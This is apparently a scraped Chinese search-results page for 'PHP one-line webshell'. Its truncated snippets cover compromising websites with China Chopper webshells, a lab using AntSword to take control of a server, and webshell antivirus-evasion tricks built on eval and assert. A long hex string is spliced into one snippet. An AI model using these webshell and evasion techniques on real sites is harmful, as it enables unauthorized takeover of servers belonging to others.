    展开全部相信用过一句话木马的黑阔们对中国32313133353236313431303231363533e4b893e5b19e31333337393033菜刀这个程序不会感到陌生,小弟也曾使用PHP一句话木马轻松lcx了很多站。近期Struts2重定向漏洞疯狂来袭,...
  • 实验:复现PHP一句话木马的利用 文章目录实验:复现PHP一句话木马的利用实验目标详细步骤1.创建php文件遇到的问题:解决方案:2.下载、初始化蚁剑遇到的问题:解决方案:3.用蚁剑连接获得控制权遇到的问题:解决方案...
  • 一句话木马的套路

    2021-03-24 01:30:28
    原标题:一句话木马的套路0×01 前言尽最大努力在一文中让大家掌握一些有用的 WEBSHELL 免杀技巧。0×02 关于 eval 于 assert关于 eval 函数在 php 给出的官方说明是eval 是一个语言构造器而不是一个函数,不能被 可...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 18,675
精华内容 7,470
关键字:

一句话木马